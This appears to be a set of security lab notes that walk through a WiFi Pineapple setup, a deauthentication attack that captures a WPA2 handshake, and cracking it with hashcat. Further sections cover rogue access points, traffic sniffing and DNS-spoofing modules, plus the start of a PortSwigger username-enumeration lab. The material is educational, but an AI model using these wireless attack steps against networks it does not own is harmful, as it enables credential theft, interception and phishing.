![Web Interface](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mg_itRzU6VezOrfAR4L%2F-Mg_m7rZ1njDlybgOhZm%2Fimage.png?alt=media\&token=50af37f8-79c0-44d0-a283-d19a9f7979b4)

### Changelog

If the changelogs show up, the 🍍 has been set up properly and is now ready for configuration.

{% hint style="info" %}
It is adviced to plug in a LAN cable into the 🍍 at this point to be able to check for updates & download community made modules.
{% endhint %}

![Change Logs](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mg_itRzU6VezOrfAR4L%2F-Mg_mGWNBze_4pLZaqbk%2Fimage.png?alt=media\&token=b6dc98e9-a706-4b6a-a9d5-412343a28134)

### Secure Setup

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mg_itRzU6VezOrfAR4L%2F-Mg_mRZ0708U5knFsE1z%2Fimage.png?alt=media\&token=c0a6fca2-a2c0-4000-ad30-7bfa32464660)

#### User account & Timeozone

In this section, we set the root user's password and the timezone in which the device is located.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mg_itRzU6VezOrfAR4L%2F-Mg_mYJzDMYXaaKzo3Um%2Fimage.png?alt=media\&token=8dfebf67-6cde-45c4-8a09-a98c90f9c999)

#### Radio Configuration

**Management AP** is used by the administrator of the 🍍 to be able to remotely administer the device over wifi.

**Open AP** is the network that would be shown to our "targets".

{% hint style="danger" %}
No actual targets here.
{% endhint %}

**Radio Country** code is pretty self-explanatory.

![Radio Configuration](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mg_itRzU6VezOrfAR4L%2F-Mg_mfaRM3yANlfmHJeH%2Fimage.png?alt=media\&token=7b1d214d-6a5a-4c93-a3e7-4112d1f90d1b)

#### Filters & Firewall

**Client Filters** are used to determine which "targets" you allow to interact with your network.

**SSID FIlters** are used to control if clients of other SSIDs are able to interact with the pineapple

![Filters & Firewall Configuration](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mg_itRzU6VezOrfAR4L%2F-Mg_ml7654NJs9DzHk_Y%2Fimage.png?alt=media\&token=918f83c0-c870-4bef-9ffd-72a7d5a9c368)

#### EULA

And of course we gotta accept the License and EULA.

{% hint style="danger" %}
Using this device in public or against any network that you do not personally own, is illegal.
{% endhint %}

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mg_itRzU6VezOrfAR4L%2F-Mg_msgBx3t-mCzV37yS%2Fimage.png?alt=media\&token=e874de51-9e56-4bf7-9812-ee9a3e671ac5)

#### Completion of setup

Once the following page appears, the 🍍 is good to go and we can start attacking! **\[ourselves ofcourse]**

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mg_itRzU6VezOrfAR4L%2F-Mg_nMd1Xvkuz8SyRqDG%2Fimage.png?alt=media\&token=8b7f7e4c-161f-482c-a74f-632e1eeaa205)

### Login

[This](http://172.16.42.1:1471/) link can be used to access the web portal after setup!

```
root:root
```

![Login Form](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mg_itRzU6VezOrfAR4L%2F-Mg_nSwJn13LbZu30wK2%2Fimage.png?alt=media\&token=a001f3be-f0e6-4d25-bdb9-fecdb809a2f2)

![Dashboard](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mg_itRzU6VezOrfAR4L%2F-Mg_nV5XMf4tSfd6UEk4%2Fimage.png?alt=media\&token=5a505abc-1a33-4f8d-99e9-1c7c76939666)


# Firmware Upgrade

This subsection covers the firmware update process of the Tetra.

## Current Firmware

Heading to the advanced tab reveals the current firmware version

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mg_itRzU6VezOrfAR4L%2F-Mg_nnDoi_5k6wqu7Fz6%2Fimage.png?alt=media\&token=09ce9740-fdb7-466e-aafe-a3f89e029337)

## Upgrade Firmware

{% hint style="info" %}
Internet connection is needed for this.
{% endhint %}

### Check for Upgrades

Hitting the button below would search for updates.

![Checking for updates](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mg_itRzU6VezOrfAR4L%2F-Mg_ns0r1IcuTX0cajHd%2Fimage.png?alt=media\&token=aef50001-a13a-4aae-ab99-930118744947)

### Perform Upgrade

Once a new version is detected, hit `Perform Upgrade` to initiate the upgrade.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mg_itRzU6VezOrfAR4L%2F-Mg_nyUNdRLny1qQ9pNk%2Fimage.png?alt=media\&token=961030c2-cd0e-484a-b4f7-124e2ab4d0a7)

The firmware will then start downloading as shown below.

![Downloading Firmware](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mg_itRzU6VezOrfAR4L%2F-Mg_o1PZNWBJUbnjnzkJ%2Fimage.png?alt=media\&token=521e7283-335c-489f-8f0c-400270363864)

After download, the 🍍 will flash the firmware automatically and reboot as shown below.

![Flashing Firmware](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mg_itRzU6VezOrfAR4L%2F-Mg_o4fhQLrzrtx1D7ID%2Fimage.png?alt=media\&token=c39e1bea-213c-46d6-acbd-dc0ea1e4b111)

And.......Complete!!

![Back to login](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mg_itRzU6VezOrfAR4L%2F-Mg_o7ad73q6IzhGH4mp%2Fimage.png?alt=media\&token=b461f4a5-27d5-49de-9123-ae03a29901ab)

![Change logs](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mg_oAFaIX1Zp0K4gkKm%2F-Mg_oBRL7NuvQukcWC9u%2Fimage.png?alt=media\&token=706ab066-2cbc-4a00-bda8-1a38f8d513fb)


# Capturing Wireless Handshake

This section covers how a wireless handshake can be captured via the deauth method

Like every other penetration test, this starts with recon too! The first step to the attack would be to identify our "target". In this case, I will be attacking my **own network**.

## Recon

Like every other penetration test, this starts with recon too! The first step to the attack would be to identify our "target". In this case, I will be attacking my **own network**.

### Scanning

* Access the Recon Tab

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mg_oAFaIX1Zp0K4gkKm%2F-Mg_oRoMLqSrNTGuPxy0%2Fimage.png?alt=media\&token=23e5eaf9-fae8-4cbf-8a2e-e7cbea9c88e0)

* Setup Scan Settings and Run Scan

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mg_oAFaIX1Zp0K4gkKm%2F-Mg_oUba7VWCVUjoPGwr%2Fimage.png?alt=media\&token=3ee7b109-deb4-42dd-9986-10153c3bd307)

* Running Scan

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mg_oAFaIX1Zp0K4gkKm%2F-Mg_oXfUiAUERf_Q-C7S%2Fimage.png?alt=media\&token=85847196-42c4-48b5-9285-5f02c2b41d46)

## Targetting

Once the scan is left to run for a short period of time, multiple targets should start popping up (As seen below). All these networks are the ones that are in the range of the Wifi 🍍.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mg_oAFaIX1Zp0K4gkKm%2F-Mg_q7a5Rg-7Y5y0I3cb%2Fimage.png?alt=media\&token=50bf8802-af61-4dd7-b8ca-30f6eb8a91fa)

### Target Network

Here's my network which I'm gonna be attacking! (shown below)

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mg_oAFaIX1Zp0K4gkKm%2F-Mg_qAJ_e7CoKSqMFT5J%2Fimage.png?alt=media\&token=45592b59-3784-43cd-b0ca-2cec5d7ca9ab)

It's evident that one client is currently authenticated with the network. The MAC address of the client is shown right below the router's MAC.

## Attacking

Now that we have our target and have verified that there are clients connected to it, we can conduct a deauth attack on the network and listen for handshakes destined to the network. Deauthenticating clients from a network will force them to reconnect to it. While the reconnection is happening, we would be able to sniff and capture the handshake which we can then use to crack :)

### Launching Attack

* Hit the dropdown on the `security` tab

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mg_oAFaIX1Zp0K4gkKm%2F-Mg_qGMfvrLIYiay0CiU%2Fimage.png?alt=media\&token=00451b65-a0ea-4889-a140-42325a744c5c)

* Hit `Start Capture`

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mg_oAFaIX1Zp0K4gkKm%2F-Mg_qIttYVql9fCQneqj%2Fimage.png?alt=media\&token=15ae2596-0c57-4887-8219-e8e154c0f642)

* Hit `Deauth`

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mg_oAFaIX1Zp0K4gkKm%2F-Mg_qLuQziSnZybTcS98%2Fimage.png?alt=media\&token=47ad070c-79cd-4969-b143-5e7814b96301)

* Successful Capture of handshake

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mg_oAFaIX1Zp0K4gkKm%2F-Mg_qOzR1QvocbmEnziA%2Fimage.png?alt=media\&token=ab70a786-72e2-45d6-a6b2-01b4008f1b31)

At this point, we have obtained a capture of the handshake which can then be used to crack the Pre-Shared Key (PSK) of the network with a trusty wordlist.

### Live Attack (On client)

This is what the client would witness when the attack is underway. Most of the time we wouldn't even notice this happening when we are out and about, going through our regular day.&#x20;

#### Mobile

{% embed url="<https://gfycat.com/dependabledelayedalaskanmalamute>" %}

#### Desktop

{% embed url="<https://gfycat.com/pitifullonelybactrian>" %}


# Cracking WPA2 Handshake

This section will cover how to crack a WPA2 handshakes captured with the previously showcased attack vector

## Cracking

We need to convert the captured `.pcap` file into `.hccapx` format in order to start cracking with it. There's a tool named `cap2hccapx` which can help us do this. However, we first need to download and compile it on our unix system.

### **Compiling cap2hccapx**

* Downloading Source

```
wget https://raw.githubusercontent.com/hashcat/hashcat-utils/master/src/cap2hccapx.c
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mg_oAFaIX1Zp0K4gkKm%2F-Mg_ri2Imxu7XR8RIqzL%2Fimage.png?alt=media\&token=cd834a3a-ef78-4555-a7f0-f0ba43dcc585)

* Compiling Tool

```
gcc -o cap2hccapx cap2hccapx.c
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mg_oAFaIX1Zp0K4gkKm%2F-Mg_rp0ubtLrZTalSH_2%2Fimage.png?alt=media\&token=1b82f575-bcce-49dd-b1bd-37e1abf2c6bf)

* Testing Tool

```
./cap2hccapx
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mg_oAFaIX1Zp0K4gkKm%2F-Mg_ru-YjmYXEsMWri2W%2Fimage.png?alt=media\&token=acc9ec4b-2f45-4ebb-a4bb-bb253beda522)

### Converting

Now that we have the tool compiled and ready to go, we can convert the file and prep it for cracking!

```
cap2hccapx E4-6F-13-FA-AD-E0_partial.pcap  capture.hccapx
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mg_oAFaIX1Zp0K4gkKm%2F-Mg_rxUpxXeVWNQYZA5l%2Fimage.png?alt=media\&token=71dfc464-9fdb-4e2c-91ab-5bf84c6ee9d0)

### Cracking with .hccapx

I'll be using Hashcat for the cracking on my host machine. [Here's](https://4pfsec.com/hashcat-password-cracking/) a post where I explain why cracking on the host machine is better 😊!

```
.\hashcat.exe -m 2500 .\hashes\capture.hccapx .\wordlists\rockyou.txt --force
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mg_oAFaIX1Zp0K4gkKm%2F-Mg_s-4sWEc87K4G-6Au%2Fimage.png?alt=media\&token=15e76479-03e6-4910-a00c-fdcfdb28df77)

{% hint style="success" %}
e46f13faade0:c6adf262679d:Nee2.4:**tinkerbell**

**tinkerbell** is the PSK of the network in question
{% endhint %}

We were successfully able to crack the handshake and retrieve the password to the lab network!


# PineAP

This section contains information on PineAP and how it can be used

## Background

PineAP is a powerful, modular rogue access point suite that helps WiFi auditors collect clients by imitating Preferred Networks. Leveraging PineAP, we are able to see what SSIDs devices are trying to look for. Using that information and PineAP's features, we are able to advertise ourselves as that SSID which the device is looking for.

### Example

Let's say you were authenticated to your home network named `4pfHome` . Your phone will then try to look for that same SSID when you're outside and have your WIFI on. PineAP will then see this and advertise itself as `4pfHome` to your device. If connected, you will be one of Wifi 🍍's many clients, and that's not good. Let's take a look at how it's done!

## Live Attack

Prior to launching the attack, the PineAP first has to be set up to listen.

### PineAP Setup

Enabling the following options to be able to capture and rebroadcast SSIDs

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mg_s3TwYsoXAfnLujMb%2F-Mga14DZh5YnyQ8H89vf%2Fimage.png?alt=media\&token=a180e466-7312-4588-8464-d7c73abd759d)

### Broadcast Attack

After letting PineAP do its thing for a while, we are able to see a couple of SSIDs in the `SSID Pool` .

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mg_s3TwYsoXAfnLujMb%2F-Mga4hHSwmyyMjmqOAsa%2Fimage.png?alt=media\&token=9ecdbaeb-89f1-47a5-958d-6be37642e013)

Now on my devices, I would be able to see these SSIDs being broadcasted and unprotected. (as shown below)

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mg_s3TwYsoXAfnLujMb%2F-Mga4imb2zipUQY97jjo%2Fimage.png?alt=media\&token=62808d34-80f6-4671-8eb5-229c5771bbc1)

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mg_s3TwYsoXAfnLujMb%2F-Mga4jxfqUwvZBhCLNzo%2Fimage.png?alt=media\&token=8bebf706-e50e-41ee-9d39-3a661dc1d237)

Now once our "target" connects to our network, we own it :) (kind of)

### Client Connect back

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mg_s3TwYsoXAfnLujMb%2F-Mga4lL7ZCGlUDcKswcm%2Fimage.png?alt=media\&token=cf2c6717-2b0a-4bf4-bd8e-194c87675149)

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mg_s3TwYsoXAfnLujMb%2F-Mga4mVVx8ulUecLh_ss%2Fimage.png?alt=media\&token=dafe689f-cce1-4c22-bd9f-736266f31630)

### Clients

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mg_s3TwYsoXAfnLujMb%2F-Mga4wmRY5SfumoGzBrL%2Fimage.png?alt=media\&token=4383d279-0613-48df-8ea8-86cf07f78871)

We can see that both the devices are connected to the Wifi 🍍 but they are connected under 2 different SSIDs. My laptop thinks it is connected to `AndroidAP68A2` and my phone thinks it is connected to `Linksys12765_5GHz` .

The connected devices won't realize a thing as the Wifi 🍍 is connected to the internet and acts how any other router would.

Now that we have both devices connected to our bogus network, we can use **Modules (**&#x77;hich will be covered in the next sectio&#x6E;**)** to perform various attacks.&#x20;

This is how we can make use of PineAP to trick users to connect to us.

{% hint style="warning" %}
From my testing, I wasn't able to get the devices to connect to the endpoints automatically. Thus, this attack still depends on the user to make the final decision to connect.
{% endhint %}


# Modules

This section contains information about community modules that can be used on top of the PineAP Attack

## Background

The WiFi Pineapple was created with modularity in mind. The WiFi Pineapple supports community-developed modules in addition to the system modules supplied with the WiFi Pineapple, such as Recon, Clients, and PineAP. The WiFi Pineapple API is used by several community-developed modules to expand functionality. This API can be used by anybody to build modules for the WiFi Pineapple.

## Modules

Let's take a look at some of the community-made modules in this section!

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mga5GIg_d-csHD8uhyc%2F-Mga5M_4LQFxBPHy7J9-%2Fimage.png?alt=media\&token=7ecdfeae-fe76-4fbd-bad7-e7dafd65c6ed)

{% hint style="warning" %}
We'll assume we already got our target to connect to our rogue network beforehand
{% endhint %}

### TcpDump

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mga5GIg_d-csHD8uhyc%2F-Mga5P_KhQHSnpREN2_S%2Fimage.png?alt=media\&token=f689f7f9-e729-4c72-a188-701a97492807)

This module is pretty self-explanatory. It assists us by dumping all network traffic generated by our clients. This module comes in very handy in case when we want to inspect our client's network traffic for some insecure traffic and possibly sniff out some passwords or files that were transferred.&#x20;

#### Demo

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mga5GIg_d-csHD8uhyc%2F-Mga5RQcQ-qOjhTSbtcd%2Fimage.png?alt=media\&token=3f15ee24-5e5c-4db8-9dcc-f6ad676d0007)

* Hit start and we'll be running

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mga5GIg_d-csHD8uhyc%2F-Mga5TpIR0H5yruRAyPp%2Fimage.png?alt=media\&token=7e732a01-fa84-4d17-b5dc-7ccf4b1d82f4)

* Once done, hit stop and download the capture for analysis

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mga5GIg_d-csHD8uhyc%2F-Mga5Zfic1UisXEM2kHi%2Fimage.png?alt=media\&token=027ba53a-a8f4-4cbd-b31a-c16656df2567)

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mga5GIg_d-csHD8uhyc%2F-Mga5kWDfyWbAQHx9mKm%2Fimage.png?alt=media\&token=21f18092-ea56-4f48-bee6-311f65d4800d)

#### Analysis

We can simply open the capture up with Wireshark and proceed with our analysis.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mga5GIg_d-csHD8uhyc%2F-Mga5rElEdtiaWkGq-h3%2Fimage.png?alt=media\&token=e9bf116e-c0d6-4a0c-b4be-38cb9e4b21e9)

### DWall

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mga5GIg_d-csHD8uhyc%2F-Mga5tsyBD9xnkLcRzD6%2Fimage.png?alt=media\&token=2ac60aba-2cb5-487a-b990-d8cfc0aa8dc0)

DWall is similar to TCPdump, but it focuses on web! DWall display's Plaintext **HTTP** URLs, Cookies, POST DATA, and images from browsing clients. This has a similar issue to TCPdump. We will only be able to see insecure traffic!

#### Demo

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mga5GIg_d-csHD8uhyc%2F-Mga5vfkF6LNgNpvdloe%2Fimage.png?alt=media\&token=0da1bbcc-2cee-4a46-b8e0-db2901d6cb88)

* Hit start listening to start capturing web traffic from clients

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mga5GIg_d-csHD8uhyc%2F-Mga6-SVLTwwx0_uizRf%2Fimage.png?alt=media\&token=b8e7e325-fe99-4631-ba9a-55e7984386e0)

* As the Clients browse insecure sites, their data would be relayed to us on this page (as shown below)

**Client View**

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mga5GIg_d-csHD8uhyc%2F-Mga64GjkMQNFnkX7mrb%2Fimage.png?alt=media\&token=b9a75df4-dd70-40f0-bad9-b0d14de5a1d3)

**Wifi 🍍 View**

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mga5GIg_d-csHD8uhyc%2F-Mga67kQq8ancBk4nPDQ%2Fimage.png?alt=media\&token=e6fae5f6-bfe8-461b-9f34-f0580bee44e5)

### DNSMasq Spoof

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mga5GIg_d-csHD8uhyc%2F-Mga6CcFtQtC-IAvnXZF%2Fimage.png?alt=media\&token=37a29aed-52f7-48e9-8eaa-3fc989698db5)

This module forges replies to arbitrary DNS queries using DNSMasq.

#### Demo

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mga5GIg_d-csHD8uhyc%2F-Mga6GGWZarg4_KQrcSX%2Fimage.png?alt=media\&token=82e05743-b24b-4cd3-811c-9a5374b85f69)

* Hit Start to run the spoofer

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mga5GIg_d-csHD8uhyc%2F-Mga6NMFYf3xXmp7E-cZ%2Fimage.png?alt=media\&token=28dfd404-0237-4277-98bb-c3523522c6d5)

* Add a custom host entry to redirect hosts

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mga5GIg_d-csHD8uhyc%2F-Mga6Pb0hOvCN0gxvbou%2Fimage.png?alt=media\&token=82158265-d054-41a9-8f59-1a4d4c0b2415)

I'll be adding a fake entry for `example.com`. `example.com` is an actual site that people can access on the web. The real site looks like the following:

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-Mga5GIg_d-csHD8uhyc%2F-Mga6S4JwNG98-Q9Y4Dv%2Fimage.png?alt=media\&token=92818e54-0b33-41ed-8424-94845ce2aac5)

Now that we have pointed it to a different IP address containing our "evil portal", let's see what happens to the clients connected to our rogue network.

#### Live DNS Attack

Here we can see one of the rogue network's clients navigating to `example.com` but its totally different from what the actual website is. This shows that an attacker/man-in-the-middle is able to easily reply falsely to your DNS queries and this is highly likely to end up as a phishing attack.

{% embed url="<https://gfycat.com/repentantquarrelsomeanemonecrab>" %}

## Conclusion

Those were some of the ways the community modules could be used in a lab environment!


# Authentication

https\://portswigger.net/web-security/authentication

Conceptually at least, authentication vulnerabilities are some of the simplest issues to understand. However, they can be among the most critical due to the obvious relationship between authentication and security. As well as potentially allowing attackers direct access to sensitive data and functionality, they also expose additional attack surface for further exploits.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2Fl3YuQiWLDTraLIWQYnnK%2Fimage.png?alt=media\&token=f4d199f6-30cc-484a-9f21-66eaa1cd28b8)

<img src="https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2Fl3YuQiWLDTraLIWQYnnK%2Fimage.png?alt=media&amp;token=f4d199f6-30cc-484a-9f21-66eaa1cd28b8" alt="" data-size="original">


# Username enumeration via different responses

This lab is vulnerable to username enumeration and password brute-force attacks.

The target site has an account with a predictable username and password, which can be found in the following wordlists:

{% file src="/files/i6sHt53O6AovpOQzHtgA" %}

{% file src="/files/XFcrGLauFqq1PWEPhOGc" %}

To solve the lab, enumerate a valid username, brute-force this user's password, then access their account page.

## Enumeration

`Home Page`

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2Fn00wSNAaHNh0UGXfiynz%2Fimage.png?alt=media\&token=f43eb46e-4338-4c5a-87d8-14be6f711e15)

`Login Page`

![Login Form](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FEGXPQe0kCFReMuZaQuXg%2Fimage.png?alt=media\&token=0a87ece6-00fe-4167-b1bf-e6461aecfa3d)

![Login Form](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FJdD8v4wLeEVebpJqMbhl%2Fimage.png?alt=media\&token=36eb887b-7d77-457c-a965-7bf31220c098)

![Error Message](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2Fji39GS6ZcsHZZZDRWyQm%2Fimage.png?alt=media\&token=5e201253-3071-4cd6-9254-102be18d84e1)

Upon Inspection of the login page, we are able to get a detailed response regarding the entered information.

## Exploitation

### Username Enumeration

Setup burp to intercept requests.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FxMPh5tZt0mujiZbtaksd%2Fimage.png?alt=media\&token=9b8b0414-eb15-4700-a867-98a9bdc943fc)

Make a login request with random credentials and intercept it with burp.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FE6vI9VY0XrxWQ7bIs0oq%2Fimage.png?alt=media\&token=02a06ed0-0ae1-4904-a4b6-333899b07d03)

In the response of that request, we are able to see that the site returns `Invalid Username`

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2F08i2vctMgiooTOy8JfcW%2Fimage.png?alt=media\&token=2d91bafb-b33f-482f-94dd-aee400f28771)

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FyYOAMEZKiEsyRK1BCpf5%2Fimage.png?alt=media\&token=922f55c5-4e95-4756-a156-50e53b5a99c4)

Right-click on the `POST` request and send it to the intruder tab

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2Fpd7EPesolRxLWtkTzeVd%2Fimage.png?alt=media\&token=5fd08d13-49d5-41f2-a640-d2beace1cc18)

Head over to the Intruder tab and clear all markings

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FCUT16NtVePB8Vadq3OW2%2Fimage.png?alt=media\&token=47bcb8f3-77d4-4b09-bf00-151b22b07144)

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FB7ipjITuScKreSG5u4JU%2Fimage.png?alt=media\&token=1a721ab2-b7c7-4851-a9f1-bee5756aa79e)

Mark only the username field

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FWJegFoOebuAd7WTN0UVJ%2Fimage.png?alt=media\&token=3a4ce80a-2d3f-4c34-9c61-8261414eed48)

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2Fp8WiYnv33Zl4eNRvxHeE%2Fimage.png?alt=media\&token=866c3ecf-4ae4-40f3-8d02-3e5ece73bee5)

Head over to the payloads tab under Intruder and make sure the following options are set and paste the username list for enumeration.

```jsx
Payload set: 1
